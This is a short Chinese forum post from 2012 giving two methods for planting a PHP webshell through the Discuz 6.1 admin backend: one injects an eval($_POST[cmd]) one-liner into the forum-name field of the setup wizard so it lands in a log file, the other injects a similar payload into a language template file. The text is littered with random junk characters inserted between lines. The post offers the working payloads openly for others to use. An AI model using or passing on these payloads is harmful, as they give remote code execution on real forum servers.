discuz6.1两种方法后台拿shell
8 F5 c* Z, c, h: s, \. o好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下+ ^! `$ P, Y A9 Q( \
1:4 o2 p, \8 {" {& ^; a; q! }4 ?
http://127.0.0.1/discuz/admincp. ... zard&frames=yes/ G4 [. f, F) c. }* W
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
2 {. e, z7 C4 k H. g% o<?php eval($_POST[cmd]);?>
# m" S1 W8 |3 B8 n' T后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
; r" H) R- r. D7 ^, B$ z+ }/ l
; d$ | ?) f8 a% X$ u
2:后台模板管理--默认模板套系--详情
9 {& i' c2 x* f# O- T! ctemplates/default/actions.lang.php
& M8 g) O3 J! a$ Yjhackj\\');eval($_POST[cmd])?>;//
& {- M( S. R- f; l" ?6 q: N3 V) _) g6 _# h7 _ B1 J
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对